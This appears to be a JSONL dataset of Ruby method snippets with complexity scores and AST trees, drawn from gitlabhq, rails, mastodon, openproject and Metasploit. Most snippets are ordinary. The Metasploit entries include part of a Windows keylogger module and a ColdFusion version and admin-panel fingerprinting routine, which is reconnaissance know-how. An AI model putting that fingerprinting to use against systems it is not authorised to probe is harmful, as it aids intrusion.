{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/token_field/insecure.rb","start_line":14,"raw_source":"def set_token(token_owner_record, token)\n        token_owner_record[@token_field] = token if token\n      end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token_owner_record\"]},{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_owner_record\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@token_field\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]},null]}]}","id":"f1a99675-b60b-4410-95a4-0a182f9707f6"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/integration/bisect_spec.rb","start_line":84,"raw_source":"def child_process_list(pid)\n        childs_process_list = []\n        ps_pipe = `ps -o pid=,ppid=,state=,args= | grep #{pid}`\n\n        ps_pipe.split(/\\n/).map do |line|\n          ps_part = line.lstrip.split(/\\s+/)\n\n          next unless ps_part[1].to_i == pid\n\n          child_process = Ps.new\n          child_process.pid = ps_part[0]\n          child_process.ppid = ps_part[1]\n          child_process.state = ps_part[2]\n          child_process.command = ps_part[3..-1].join(' ')\n\n          childs_process_list << child_process\n        end\n        childs_process_list\n      end","complexity_score":30.15,"ast_json":"{\"type\":\"def\",\"children\":[\"child_process_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"childs_process_list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"ps_pipe\",{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ps -o pid=,ppid=,state=,args= | grep \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ps_pipe\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ps_part\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"lstrip\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ps_part\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"child_process\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ps\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_process\"]},\"pid=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ps_part\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_process\"]},\"ppid=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ps_part\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_process\"]},\"state=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ps_part\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_process\"]},\"command=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ps_part\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[-1]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"childs_process_list\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"child_process\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"childs_process_list\"]}]}]}","id":"1d3dd154-afe5-48b5-81e7-d5428e689efb"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_ext_test.rb","start_line":247,"raw_source":"def test_beginning_of_day\n    assert_equal Time.local(2005, 2, 21, 0, 0, 0), Date.new(2005, 2, 21).beginning_of_day\n  end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_beginning_of_day\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[21]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[21]}]},\"beginning_of_day\"]}]}]}","id":"1b75f1b4-37a7-4de0-bc86-5f6ddfc4b362"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/user_preferences/schema.rb","start_line":38,"raw_source":"def schema\n      @schema ||= begin\n        json = JSON::parse(File.read(PATH))\n        extensions.each do |path, extension|\n          existing = json.dig(*path.split(\"/\"))\n\n          existing.merge!(extension)\n        end\n\n        json\n      end\n    end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"schema\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@schema\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"const\",\"children\":[null,\"PATH\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extensions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"extension\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"dig\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"extension\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"json\"]}]}]}]}","id":"ba705d5e-34e0-4a30-ac1d-c721fe8a6d7b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/features/authorization_spec.rb","start_line":472,"raw_source":"def permit_on(object, *permissions)\n    permissions.each do |permission|\n      allow(Ability).to receive(:allowed?).with(user, permission, object).and_return(true)\n    end\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"permit_on\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"restarg\",\"children\":[\"permissions\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permissions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"permission\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"Ability\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"allowed?\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"lvar\",\"children\":[\"permission\"]},{\"type\":\"lvar\",\"children\":[\"object\"]}]},\"and_return\",{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"a880a3fa-ed3a-45f2-9635-ba72b242d1b1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/capture/keylog_recorder.rb","start_line":344,"raw_source":"def session_good?\n    return false if !session.alive?\n\n    if @timed_out\n      if get_session_age < @timed_out_age && @wait\n        time_stamp('resumed')\n        @timed_out = false # reset timed out to false, if module set to wait and session becomes active again.\n      end\n      return !@timed_out\n    end\n    return true\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"session_good?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"alive?\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timed_out\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_session_age\"]},\"<\",{\"type\":\"ivar\",\"children\":[\"@timed_out_age\"]}]},{\"type\":\"ivar\",\"children\":[\"@wait\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_stamp\",{\"type\":\"str\",\"children\":[\"resumed\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@timed_out\",{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timed_out\"]},\"!\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"f191c438-e89d-48fd-87fd-4d1574b50135"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/coldfusion_version.rb","start_line":26,"raw_source":"def fingerprint(response)\n    if (response.headers.has_key?('Server'))\n      if (response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\\(Windows/)\n        os = \"Windows (#{response.headers['Server']})\"\n      elsif (response.headers['Server'] =~ /Apache\\//)\n        os = \"Unix (#{response.headers['Server']})\"\n      else\n        os = response.headers['Server']\n      end\n    end\n\n    return nil if response.body.length < 100\n\n    title = \"Not Found\"\n    if (response.body =~ /<title.*\\/?>(.+)<\\/title\\/?>/im)\n      title = $1\n      title.gsub!(/\\s/, '')\n    end\n\n    return nil if (title == 'Not Found' or not title =~ /ColdFusionAdministrator/)\n\n    out = nil\n\n    if (response.body =~ />\\s*Version:\\s*(.*)<\\/strong\\><br\\s\\//)\n      v = $1\n      out = (v =~ /^6/) ? \"Adobe ColdFusion MX6 #{v}\" : \"Adobe ColdFusion MX7 #{v}\"\n    elsif (response.body =~ /<meta name=\\\"Author\\\" content=\\\"Copyright 1995\\-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/)\n      out = \"Adobe ColdFusion MX7\"\n    elsif (response.body =~ /<meta name=\\\"Author\\\" content=\\\"Copyright \\(c\\) 1995\\-2006 Adobe/)\n      out = \"Adobe ColdFusion 8\"\n    elsif (response.body =~ /<meta name=\\\"Author\\\" content=\\\"Copyright \\(c\\) 1995\\-2010 Adobe/ and\n      response.body =~ /1997\\-2012 Adobe Systems Incorporated and its licensors/)\n      out = \"Adobe ColdFusion 10\"\n    elsif (response.body =~ /<meta name=\\\"Author\\\" content=\\\"Copyright \\(c\\) 1995\\-2010 Adobe/ or\n      response.body =~ /<meta name=\\\"Author\\\" content=\\\"Copyright \\(c\\) 1995\\-2009 Adobe Systems\\, Inc\\. All rights reserved/ or\n      response.body =~ /<meta name=\\\"Author\\\" content=\\\"Copyright \\(c\\) 1997\\-2012 Adobe Systems\\, Inc\\. All rights reserved/)\n      out = \"Adobe ColdFusion 9\"\n    elsif (response.body =~ /<meta name=\\\"Keywords\\\" content=\\\"(.*)\\\">\\s+<meta name/)\n      out = $1.split(/,/)[0]\n    else\n      out = 'Unknown ColdFusion'\n    end\n\n    if (title.downcase == 'coldfusionadministrator')\n      out << \" (administrator access)\"\n    end\n\n    out << \" (#{os})\"\n    return out\n  end","complexity_score":89.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fingerprint\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"has_key?\",{\"type\":\"str\",\"children\":[\"Server\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"IIS\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\(Windows\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"os\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Apache/\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"os\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"os\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"str\",\"children\":[\"Not Found\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<title.*/?>(.+)</title/?>\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"m\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"==\",{\"type\":\"str\",\"children\":[\"Not Found\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ColdFusionAdministrator\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"!\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\">\\\\s*Version:\\\\s*(.*)</strong\\\\><br\\\\s/\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^6\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Adobe ColdFusion MX6 \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Adobe ColdFusion MX7 \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<meta name=\\\\\\\"Author\\\\\\\" content=\\\\\\\"Copyright 1995\\\\-2012 Adobe\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Administrator requires a browser that supports frames\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"str\",\"children\":[\"Adobe ColdFusion MX7\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<meta name=\\\\\\\"Author\\\\\\\" content=\\\\\\\"Copyright \\\\(c\\\\) 1995\\\\-2006 Adobe\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"str\",\"children\":[\"Adobe ColdFusion 8\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<meta name=\\\\\\\"Author\\\\\\\" content=\\\\\\\"Copyright \\\\(c\\\\) 1995\\\\-2010 Adobe\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"1997\\\\-2012 Adobe Systems Incorporated and its licensors\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"str\",\"children\":[\"Adobe ColdFusion 10\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<meta name=\\\\\\\"Author\\\\\\\" content=\\\\\\\"Copyright \\\\(c\\\\) 1995\\\\-2010 Adobe\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<meta name=\\\\\\\"Author\\\\\\\" content=\\\\\\\"Copyright \\\\(c\\\\) 1995\\\\-2009 Adobe Systems\\\\, Inc\\\\. All rights reserved\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<meta name=\\\\\\\"Author\\\\\\\" content=\\\\\\\"Copyright \\\\(c\\\\) 1997\\\\-2012 Adobe Systems\\\\, Inc\\\\. All rights reserved\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"str\",\"children\":[\"Adobe ColdFusion 9\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<meta name=\\\\\\\"Keywords\\\\\\\" content=\\\\\\\"(.*)\\\\\\\">\\\\s+<meta name\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"str\",\"children\":[\"Unknown ColdFusion\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"downcase\"]},\"==\",{\"type\":\"str\",\"children\":[\"coldfusionadministrator\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"<<\",{\"type\":\"str\",\"children\":[\" (administrator access)\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]}]}]}]}","id":"ef7b4bc8-93da-45ed-a048-845cead6276f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/seo/social_media_posting_serializer.rb","start_line":35,"raw_source":"def author\n    {\n      type: 'Person',\n      name: object.account.display_name.presence || object.account.username,\n      alternate_name: object.account.local_username_and_domain,\n      identifier: object.account.local_username_and_domain,\n      url: ActivityPub::TagManager.instance.url_for(object.account),\n      interaction_statistic: [\n        {\n          type: 'InteractionCounter',\n          interaction_type: 'https://schema.org/FollowAction',\n          user_interaction_count: object.account.followers_count,\n        },\n      ],\n    }\n  end","complexity_score":26.1,"ast_json":"{\"type\":\"def\",\"children\":[\"author\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Person\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]},\"display_name\"]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]},\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alternate_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]},\"local_username_and_domain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]},\"local_username_and_domain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"url_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interaction_statistic\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"InteractionCounter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interaction_type\"]},{\"type\":\"str\",\"children\":[\"https://schema.org/FollowAction\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_interaction_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]},\"followers_count\"]}]}]}]}]}]}]}","id":"8be73b71-445c-4908-892b-070d3a1c09e0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/project_reference_filter.rb","start_line":68,"raw_source":"def projects\n          refs = Set.new\n\n          nodes.each do |node|\n            node.to_html.scan(Project.markdown_reference_pattern) do\n              refs << \"#{$~[:namespace]}/#{$~[:project]}\"\n            end\n          end\n\n          refs.to_a\n        